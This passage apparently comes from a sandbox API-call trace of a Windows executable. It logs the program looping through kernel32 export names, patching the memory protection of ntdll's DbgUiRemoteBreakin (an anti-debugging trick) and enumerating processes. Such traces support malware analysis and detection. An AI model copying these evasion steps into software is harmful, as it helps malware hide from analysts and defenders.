(lpString="CREATESEMAPHOREEXA") returned 18 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0045.777] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0045.777] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0045.777] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0045.777] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0045.777] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0045.777] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0045.824] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0045.824] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0045.824] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0045.824] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0045.824] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0045.824] lstrlenA (lpString="CREATETHREAD") returned 12 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0045.824] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0045.824] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0045.824] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0045.824] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0045.824] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0045.824] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0045.824] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0045.824] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0045.826] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.827] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.827] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0045.827] GetProcAddress (hModule=0x77bb0000, lpProcName="DbgUiRemoteBreakin") returned 0x77c5a520 [0045.827] VirtualProtect (in: lpAddress=0x77c5a520, dwSize=0x1, flNewProtect=0x40, lpflOldProtect=0x21fff14 | out: lpflOldProtect=0x21fff14*=0x20) returned 1 [0046.194] VirtualProtect (in: lpAddress=0x77c5a520, dwSize=0x1, flNewProtect=0x20, lpflOldProtect=0x21fff18 | out: lpflOldProtect=0x21fff18*=0x40) returned 1 [0046.194] VirtualFree (lpAddress=0x70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.194] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.194] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8 [0046.279] Process32FirstW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.280] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.281] GetLastError () returned 0x0 [0046.281] lstrlenA (lpString="kernel32.dll") returned 12 [0046.281] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0046.281] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0046.281] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0046.281] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0046.281] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0046.281] lstrlenA (lpString="ADDATOMA") returned 8 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0046.281] lstrlenA (lpString="ADDATOMW") returned 8 [0046.281] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0046.282] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0046.282] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0046.282] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0046.282] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0046.282] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0046.282] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0046.282] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0046.282] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0046.282] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0046.282] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0046.282] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0046.282] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0046.283] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0046.283] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0046.283] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0046.283] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0046.283] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0046.283] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0046.283] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0046.283] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0046.283] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0046.283] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0046.283] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0046.284] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0046.284] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0046.284] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0046.284] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0046.284] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0046.284] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0046.284] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0046.284] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0046.284] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0046.284] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0046.284] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0046.285] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0046.285] lstrlenA (lpString="BACKUPREAD") returned 10 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0046.285] lstrlenA (lpString="BACKUPSEEK") returned 10 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0046.285] lstrlenA (lpString="BACKUPWRITE") returned 11 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0046.285] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0046.285] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0046.285] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0046.285] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0046.285] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0046.285] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0046.285] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0046.285] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0046.286] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0046.286] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0046.286] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0046.286] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0046.286] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0046.286] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0046.286] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0046.286] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0046.286] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0046.286] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0046.286] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0046.287] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0046.287] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0046.287] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0046.287] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0046.287] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0046.287] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0046.287] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0046.287] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0046.287] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0046.287] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0046.287] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0046.288] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0046.288] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0046.288] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0046.288] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0046.288] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0046.288] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0046.288] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0046.288] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0046.288] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0046.288] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0046.288] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0046.288] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0046.289] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0046.289] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0046.289] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0046.289] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0046.289] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0046.289] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0046.289] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0046.289] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0046.289] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0046.289] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0046.289] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0046.290] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" 